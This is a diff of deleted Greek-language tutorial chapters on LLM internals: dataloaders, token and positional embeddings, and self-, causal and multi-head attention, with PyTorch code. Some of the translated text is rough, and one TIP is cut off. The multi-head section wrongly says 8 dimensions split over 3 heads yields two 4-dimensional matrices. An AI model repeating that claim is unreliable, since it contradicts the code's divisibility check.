dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
)
data_iter = iter(dataloader)
first_batch = next(data_iter)
print(first_batch)
# Note the batch_size of 8, the max_length of 4 and the stride of 1
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257],
[10899, 2138, 257, 7026]])
]
# With stride=4 this will be the result:
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 1807, 3619, 402, 271],
[10899, 2138, 257, 7026],
[15632, 438, 2016, 257],
[ 922, 5891, 1576, 438],
[ 568, 340, 373, 645],
[ 1049, 5975, 284, 502],
[ 284, 3285, 326, 11]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 3619, 402, 271, 10899],
[ 2138, 257, 7026, 15632],
[ 438, 2016, 257, 922],
[ 5891, 1576, 438, 568],
[ 340, 373, 645, 1049],
[ 5975, 284, 502, 284],
[ 3285, 326, 11, 287]])
]
```
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,185 +0,0 @@
# 3. Token Embeddings
## Token Embeddings
Μετά την τοκενικοποίηση των δεδομένων κειμένου, το επόμενο κρίσιμο βήμα στην προετοιμασία των δεδομένων για την εκπαίδευση μεγάλων γλωσσικών μοντέλων (LLMs) όπως το GPT είναι η δημιουργία **token embeddings**. Τα token embeddings μετατρέπουν διακριτούς τοκένες (όπως λέξεις ή υπολέξεις) σε συνεχείς αριθμητικούς διανύσματα που το μοντέλο μπορεί να επεξεργαστεί και να μάθει από αυτά. Αυτή η εξήγηση αναλύει τα token embeddings, την αρχικοποίησή τους, τη χρήση τους και τον ρόλο των θέσεων embeddings στην ενίσχυση της κατανόησης του μοντέλου για τις ακολουθίες τοκένων.
> [!TIP]
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που εκπαιδεύονται (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
>
> Επιπλέον, κατά τη διάρκεια της τοκενικής ενσωμάτωσης **δημιουργείται ένα άλλο επίπεδο ενσωματώ
```python
import torch
# Set a random seed for reproducibility
torch.manual_seed(123)
# Create an embedding layer with 6 tokens and 3 dimensions
embedding_layer = torch.nn.Embedding(6, 3)
# Display the initial weights (embeddings)
print(embedding_layer.weight)
```
**Έξοδος:**
```lua
luaCopy codeParameter containing:
tensor([[ 0.3374, -0.1778, -0.1690],
[ 0.9178, 1.5810, 1.3010],
[ 1.2753, -0.2010, -0.1606],
[-0.4015, 0.9666, -1.1481],
[-1.1589, 0.3255, -0.6315],
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
```
**Εξήγηση:**
- Κάθε γραμμή αντιστοιχεί σε ένα token στο λεξιλόγιο.
- Κάθε στήλη αντιπροσωπεύει μια διάσταση στο διάνυσμα ενσωμάτωσης.
- Για παράδειγμα, το token στη θέση `3` έχει ένα διάνυσμα ενσωμάτωσης `[-0.4015, 0.9666, -1.1481]`.
**Πρόσβαση σε ένα Διάνυσμα Ενσωμάτωσης Token:**
```python
# Retrieve the embedding for the token at index 3
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
**Έξοδος:**
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
**Ερμηνεία:**
- Το token στον δείκτη `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`.
- Αυτές οι τιμές είναι παραμέτροι που μπορούν να εκπαιδευτούν και το μοντέλο θα τις προσαρμόσει κατά τη διάρκεια της εκπαίδευσης για να αναπαραστήσει καλύτερα το πλαίσιο και τη σημασία του token.
### **Πώς Λειτουργούν οι Ενσωματώσεις Token Κατά τη Διάρκεια της Εκπαίδευσης**
Κατά τη διάρκεια της εκπαίδευσης, κάθε token στα δεδομένα εισόδου μετατρέπεται στο αντίστοιχο διάνυσμά του. Αυτά τα διανύσματα χρησιμοποιούνται στη συνέχεια σε διάφορους υπολογισμούς μέσα στο μοντέλο, όπως μηχανισμούς προσοχής και στρώματα νευρωνικών δικτύων.
**Παράδειγμα Σεναρίου:**
- **Μέγεθος Παρτίδας:** 8 (αριθμός δειγμάτων που επεξεργάζονται ταυτόχρονα)
- **Μέγιστο Μήκος Ακολουθίας:** 4 (αριθμός tokens ανά δείγμα)
- **Διαστάσεις Ενσωμάτωσης:** 256
**Δομή Δεδομένων:**
- Κάθε παρτίδα αναπαρίσταται ως ένας 3D τενζόρ με σχήμα `(batch_size, max_length, embedding_dim)`.
- Για το παράδειγμά μας, το σχήμα θα είναι `(8, 4, 256)`.
**Οπτικοποίηση:**
```css
cssCopy codeBatch
┌─────────────┐
│ Sample 1 │
│ ┌─────┐ │
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ Sample 2 │
│ ┌─────┐ │
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ ... │
│ Sample 8 │
│ ┌─────┐ │
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
└─────────────┘
```
**Εξήγηση:**
- Κάθε token στη σειρά αναπαρίσταται από ένα διανυσματικό 256 διαστάσεων.
- Το μοντέλο επεξεργάζεται αυτές τις αναπαραστάσεις για να μάθει γλωσσικά μοτίβα και να δημιουργήσει προβλέψεις.
## **Θέσεις Αναπαραστάσεων: Προσθήκη Πλαισίου στις Αναπαραστάσεις Tokens**
Ενώ οι αναπαραστάσεις tokens συλλαμβάνουν τη σημασία των μεμονωμένων tokens, δεν κωδικοποιούν εγγενώς τη θέση των tokens μέσα σε μια σειρά. Η κατανόηση της σειράς των tokens είναι κρίσιμη για την κατανόηση της γλώσσας. Εδώ είναι που έρχονται οι **θέσεις αναπαραστάσεων**.
### **Γιατί Χρειάζονται οι Θέσεις Αναπαραστάσεων:**
- **Η Σειρά των Tokens Έχει Σημασία:** Σε προτάσεις, η σημασία συχνά εξαρτάται από τη σειρά των λέξεων. Για παράδειγμα, "Η γάτα κάθισε στο χαλάκι" vs. "Το χαλάκι κάθισε στη γάτα."
- **Περιορισμός Αναπαράστασης:** Χωρίς πληροφορίες θέσης, το μοντέλο αντιμετωπίζει τα tokens ως μια "τσάντα λέξεων," αγνοώντας τη σειρά τους.
### **Τύποι Θέσεων Αναπαραστάσεων:**
1. **Απόλυτες Θέσεις Αναπαραστάσεων:**
- Αναθέτουν ένα μοναδικό διανυσματικό θέση σε κάθε θέση στη σειρά.
- **Παράδειγμα:** Το πρώτο token σε οποιαδήποτε σειρά έχει την ίδια θέση αναπαράστασης, το δεύτερο token έχει άλλη, και ούτω καθεξής.
- **Χρησιμοποιείται Από:** Τα μοντέλα GPT της OpenAI.
2. **Σχετικές Θέσεις Αναπαραστάσεων:**
- Κωδικοποιούν την σχετική απόσταση μεταξύ των tokens αντί για τις απόλυτες θέσεις τους.
- **Παράδειγμα:** Υποδεικνύουν πόσο μακριά είναι δύο tokens, ανεξάρτητα από τις απόλυτες θέσεις τους στη σειρά.
- **Χρησιμοποιείται Από:** Μοντέλα όπως το Transformer-XL και ορισμένες παραλλαγές του BERT.
### **Πώς Ενσωματώνονται οι Θέσεις Αναπαραστάσεων:**
- **Ίδιες Διαστάσεις:** Οι θέσεις αναπαραστάσεων έχουν την ίδια διαστασιολογία με τις αναπαραστάσεις tokens.
- **Πρόσθεση:** Προστίθενται στις αναπαραστάσεις tokens, συνδυάζοντας την ταυτότητα του token με τις πληροφορίες θέσης χωρίς να αυξάνουν τη συνολική διαστασιολογία.
**Παράδειγμα Πρόσθεσης Θέσεων Αναπαραστάσεων:**
Ας υποθέσουμε ότι ένα διανυσματικό αναπαράστασης token είναι `[0.5, -0.2, 0.1]` και το διανυσματικό αναπαράστασης θέσης του είναι `[0.1, 0.3, -0.1]`. Η συνδυασμένη αναπαράσταση που χρησιμοποιεί το μοντέλο θα είναι:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
= [0.6, 0.1, 0.0]
```
**Οφέλη των Θέσεων Ενσωματώσεων:**
- **Συνειδητοποίηση Πλαισίου:** Το μοντέλο μπορεί να διακρίνει μεταξύ των tokens με βάση τις θέσεις τους.
- **Κατανόηση Ακολουθίας:** Δίνει τη δυνατότητα στο μοντέλο να κατανοεί τη γραμματική, τη σύνταξη και τις σημασίες που εξαρτώνται από το πλαίσιο.
## Παράδειγμα Κώδικα
Ακολουθώντας το παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Use previous code...
# Create dimensional emdeddings
"""
BPE uses a vocabulary of 50257 words
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
"""
vocab_size = 50257
output_dim = 256
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
## Generate the dataloader like before
max_length = 4
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=max_length,
stride=max_length, shuffle=False
)
data_iter = iter(dataloader)
inputs, targets = next(data_iter)
# Apply embeddings
token_embeddings = token_embedding_layer(inputs)
print(token_embeddings.shape)
torch.Size([8, 4, 256]) # 8 x 4 x 256
# Generate absolute embeddings
context_length = max_length
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
input_embeddings = token_embeddings + pos_embeddings
print(input_embeddings.shape) # torch.Size([8, 4, 256])
```
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,416 +0,0 @@
# 4. Μηχανισμοί Προσοχής
## Μηχανισμοί Προσοχής και Αυτοπροσοχή σε Νευρωνικά Δίκτυα
Οι μηχανισμοί προσοχής επιτρέπουν στα νευρωνικά δίκτυα να **εστιάζουν σε συγκεκριμένα μέρη της εισόδου κατά την παραγωγή κάθε μέρους της εξόδου**. Αναθέτουν διαφορετικά βάρη σε διαφορετικές εισόδους, βοηθώντας το μοντέλο να αποφασίσει ποιες είσοδοι είναι πιο σχετικές με την τρέχουσα εργασία. Αυτό είναι κρίσιμο σε εργασίες όπως η μηχανική μετάφραση, όπου η κατανόηση του πλαισίου της ολόκληρης πρότασης είναι απαραίτητη για ακριβή μετάφραση.
> [!TIP]
> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επαναλαμβανόμενα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\
> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλοί εκπαιδεύσιμοι παράμετροι θα καταγράφουν αυτές τις πληροφορίες.
### Κατανόηση Μηχανισμών Προσοχής
Στα παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράφει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισαγωγικά tokens κατά την παραγωγή κάθε εξαγωγικού token.
#### Παράδειγμα: Μηχανική Μετάφραση
Σκεφτείτε να μεταφράσετε την γερμανική πρόταση "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάζει σε σχετικές partes της εισαγωγικής πρότασης κατά την παραγωγή κάθε λέξης της εξαγωγικής πρότασης, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση.
### Εισαγωγή στην Αυτοπροσοχή
Η αυτοπροσοχή, ή ενδοπροσοχή, είναι ένας μηχανισμός όπου η προσοχή εφαρμόζεται εντός μιας μόνο ακολουθίας για να υπολογίσει μια αναπαράσταση αυτής της ακολουθίας. Επιτρέπει σε κάθε token στην ακολουθία να εστιάζει σε όλα τα άλλα tokens, βοηθώντας το μοντέλο να καταγράψει εξαρτήσεις μεταξύ των tokens ανεξαρτήτως της απόστασής τους στην ακολουθία.
#### Κύριες Έννοιες
- **Tokens**: Ατομικά στοιχεία της εισαγωγικής ακολουθίας (π.χ., λέξεις σε μια πρόταση).
- **Ενσωματώσεις**: Διανυσματικές αναπαραστάσεις των tokens, που καταγράφουν σημασιολογικές πληροφορίες.
- **Βάρη Προσοχής**: Τιμές που καθορίζουν τη σημασία κάθε token σε σχέση με τα άλλα.
### Υπολογισμός Βαρών Προσοχής: Ένα Βήμα-Βήμα Παράδειγμα
Ας εξετάσουμε την πρόταση **"Hello shiny sun!"** και να αναπαραστήσουμε κάθε λέξη με μια 3-διάστατη ενσωμάτωση:
- **Hello**: `[0.34, 0.22, 0.54]`
- **shiny**: `[0.53, 0.34, 0.98]`
- **sun**: `[0.29, 0.54, 0.93]`
Ο στόχος μας είναι να υπολογίσουμε το **διάνυσμα πλαισίου** για τη λέξη **"shiny"** χρησιμοποιώντας αυτοπροσοχή.
#### Βήμα 1: Υπολογισμός Σκορ Προσοχής
> [!TIP]
> Απλά πολλαπλασιάστε κάθε τιμή διάστασης του query με την αντίστοιχη κάθε token και προσθέστε τα αποτελέσματα. Θα πάρετε 1 τιμή ανά ζεύγος tokens.
Για κάθε λέξη στην πρόταση, υπολογίστε το **σκορ προσοχής** σε σχέση με το "shiny" υπολογίζοντας το εσωτερικό γινόμενο των ενσωματώσεών τους.
**Σκορ Προσοχής μεταξύ "Hello" και "shiny"**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Σκορ Προσοχής μεταξύ "shiny" και "shiny"**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Σκορ Προσοχής μεταξύ "sun" και "shiny"**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Βήμα 2: Κανονικοποίηση Σκορ Προσοχής για Απόκτηση Βαρών Προσοχής
> [!TIP]
> Μην χαθείτε στους μαθηματικούς όρους, ο στόχος αυτής της συνάρτησης είναι απλός, κανονικοποιήστε όλα τα βάρη ώστε **να αθροίζουν 1 συνολικά**.
>
> Επιπλέον, η συνάρτηση **softmax** χρησιμοποιείται επειδή τονίζει τις διαφορές λόγω του εκθετικού μέρους, διευκολύνοντας την ανίχνευση χρήσιμων τιμών.
Εφαρμόστε τη **συνάρτηση softmax** στα σκορ προσοχής για να τα μετατρέψετε σε βάρη προσοχής που αθροίζουν σε 1.
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Υπολογίζοντας τις εκθετικές:
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Υπολογίζοντας το άθροισμα:
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Υπολογίζοντας τα βάρη προσοχής:
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Βήμα 3: Υπολογισμός του Διάνυσματος Πλαισίου
> [!TIP]
> Απλά πάρτε κάθε βάρος προσοχής και πολλαπλασιάστε το με τις σχετικές διαστάσεις token και στη συνέχεια αθροίστε όλες τις διαστάσεις για να πάρετε μόνο 1 διάνυσμα (το διάνυσμα πλαισίου)
Το **διάνυσμα πλαισίου** υπολογίζεται ως το ζυγισμένο άθροισμα των ενσωματώσεων όλων των λέξεων, χρησιμοποιώντας τα βάρη προσοχής.
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
Υπολογίζοντας κάθε συστατικό:
- **Ζυγισμένη Ενσωμάτωση του "Hello"**:
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Ζυγισμένη Ενσωμάτωση του "shiny"**:
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **Ζυγισμένη Ενσωμάτηση του "sun"**:
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αθροίζοντας τις ζυγισμένες ενσωματώσεις:
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**Αυτό το διάνυσμα πλαισίου αντιπροσωπεύει την εμπλουτισμένη ενσωμάτωση για τη λέξη "shiny," ενσωματώνοντας πληροφορίες από όλες τις λέξεις στην πρόταση.**
### Περίληψη της Διαδικασίας
1. **Υπολογίστε τα Σκορ Προσοχής**: Χρησιμοποιήστε το εσωτερικό γινόμενο μεταξύ της ενσωμάτωσης της στοχευμένης λέξης και των ενσωματώσεων όλων των λέξεων στην ακολουθία.
2. **Κανονικοποιήστε τα Σκορ για να Λάβετε Βάρη Προσοχής**: Εφαρμόστε τη συνάρτηση softmax στα σκορ προσοχής για να αποκτήσετε βάρη που αθροίζουν σε 1.
3. **Υπολογίστε το Δίπλωμα Πλαισίου**: Πολλαπλασιάστε την ενσωμάτωση κάθε λέξης με το βάρος προσοχής της και αθροίστε τα αποτελέσματα.
## Αυτοπροσοχή με Εκπαιδεύσιμα Βάρη
Στην πράξη, οι μηχανισμοί αυτοπροσοχής χρησιμοποιούν **εκπαιδεύσιμα βάρη** για να μάθουν τις καλύτερες αναπαραστάσεις για queries, keys και values. Αυτό περιλαμβάνει την εισαγωγή τριών πινάκων βαρών:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Το query είναι τα δεδομένα που χρησιμοποιούνται όπως πριν, ενώ οι πίνακες keys και values είναι απλώς τυχαίοι-εκπαιδεύσιμοι πίνακες.
#### Βήμα 1: Υπολογισμός Queries, Keys και Values
Κάθε token θα έχει τον δικό του πίνακα query, key και value πολλαπλασιάζοντας τις τιμές διάστασης του με τους καθορισμένους πίνακες:
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
Αυτοί οι πίνακες μετασχηματίζουν τις αρχικές ενσωματώσεις σε έναν νέο χώρο κατάλληλο για τον υπολογισμό της προσοχής.
**Παράδειγμα**
Υποθέτοντας:
- Διάσταση εισόδου `din=3` (μέγεθος ενσωμάτωσης)
- Διάσταση εξόδου `dout=2` (επιθυμητή διάσταση για queries, keys και values)
Αρχικοποιήστε τους πίνακες βαρών:
```python
import torch.nn as nn
d_in = 3
d_out = 2
W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
Υπολογίστε τα ερωτήματα, τα κλειδιά και τις τιμές:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### Βήμα 2: Υπολογισμός Κλιμακωτής Προσοχής Σημείου
**Υπολογισμός Σκορ Προσοχής**
Παρόμοια με το προηγούμενο παράδειγμα, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi` και κλειδί `kj`:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**Κλιμάκωση των Σκορ**
Για να αποτρέψουμε τα εσωτερικά προϊόντα να γίνουν πολύ μεγάλα, τα κλιμακώνουμε με την τετραγωνική ρίζα της διάστασης του κλειδιού `dk`:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> Το σκορ διαιρείται με την τετραγωνική ρίζα των διαστάσεων επειδή τα εσωτερικά προϊόντα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά στη ρύθμισή τους.
**Εφαρμογή Softmax για Απόκτηση Βαρών Προσοχής:** Όπως στο αρχικό παράδειγμα, κανονικοποιούμε όλες τις τιμές ώστε να αθροίζουν 1.
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Βήμα 3: Υπολογισμός Συγκείμενων Διανυσμάτων
Όπως στο αρχικό παράδειγμα, απλώς αθροίζουμε όλους τους πίνακες τιμών πολλαπλασιάζοντας τον καθένα με το βάρος προσοχής του:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### Παράδειγμα Κώδικα
Αρπάζοντας ένα παράδειγμα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) μπορείτε να ελέγξετε αυτή την κλάση που υλοποιεί τη λειτουργικότητα αυτοπροσοχής που συζητήσαμε:
```python
import torch
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
import torch.nn as nn
class SelfAttention_v2(nn.Module):
def __init__(self, d_in, d_out, qkv_bias=False):
super().__init__()
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
def forward(self, x):
keys = self.W_key(x)
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.T
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
context_vec = attn_weights @ values
return context_vec
d_in=3
d_out=2
torch.manual_seed(789)
sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
> [!NOTE]
> Σημειώστε ότι αντί να αρχικοποιήσουμε τους πίνακες με τυχαίες τιμές, χρησιμοποιείται το `nn.Linear` για να σημάνει όλα τα βάρη ως παραμέτρους προς εκπαίδευση.
## Causal Attention: Απόκρυψη Μελλοντικών Λέξεων
Για τα LLMs θέλουμε το μοντέλο να εξετάζει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. **Causal attention**, γνωστό και ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens.
### Εφαρμογή Μάσκας Causal Attention
Για να υλοποιήσουμε την causal attention, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν.
**Βήματα**
1. **Υπολογισμός Βαθμών Προσοχής**: Ίδιο με πριν.
2. **Εφαρμογή Μάσκας**: Χρησιμοποιήστε έναν ανώτερο τριγωνικό πίνακα γεμάτο με αρνητική άπειρο πάνω από τη διαγώνιο.
```python
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
masked_scores = attention_scores + mask
```
3. **Εφαρμογή Softmax**: Υπολογίστε τα βάρη προσοχής χρησιμοποιώντας τους μάσκες βαθμούς.
```python
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Μάσκα Επιπλέον Βαρών Προσοχής με Dropout
Για να **αποτρέψουμε την υπερβολική προσαρμογή**, μπορούμε να εφαρμόσουμε **dropout** στα βάρη προσοχής μετά τη λειτουργία softmax. Το Dropout **τυχαία μηδενίζει μερικά από τα βάρη προσοχής** κατά τη διάρκεια της εκπαίδευσης.
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
```
Ένας κανονικός dropout είναι περίπου 10-20%.
### Code Example
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
```python
import torch
import torch.nn as nn
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
batch = torch.stack((inputs, inputs), dim=0)
print(batch.shape)
class CausalAttention(nn.Module):
def __init__(self, d_in, d_out, context_length,
dropout, qkv_bias=False):
super().__init__()
self.d_out = d_out
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # This generates the keys of the tokens
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
attn_scores.masked_fill_( # New, _ ops are in-place
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
attn_weights = torch.softmax(
attn_scores / keys.shape[-1]**0.5, dim=-1
)
attn_weights = self.dropout(attn_weights)
context_vec = attn_weights @ values
return context_vec
torch.manual_seed(123)
context_length = batch.shape[1]
d_in = 3
d_out = 2
ca = CausalAttention(d_in, d_out, context_length, 0.0)
context_vecs = ca(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
## Επέκταση της Μονοκέφαλης Προσοχής σε Πολυκέφαλη Προσοχή
**Πολυκέφαλη προσοχή** στην πρακτική συνίσταται στην εκτέλεση **πολλών περιπτώσεων** της λειτουργίας αυτοπροσοχής, καθεμία με **τα δικά της βάρη**, έτσι ώστε να υπολογίζονται διαφορετικοί τελικοί διανύσματα.
### Παράδειγμα Κώδικα
Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που να τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων for). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert (d_out % num_heads == 0), \
"d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer(
"mask",
torch.triu(torch.ones(context_length, context_length),
diagonal=1)
)
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
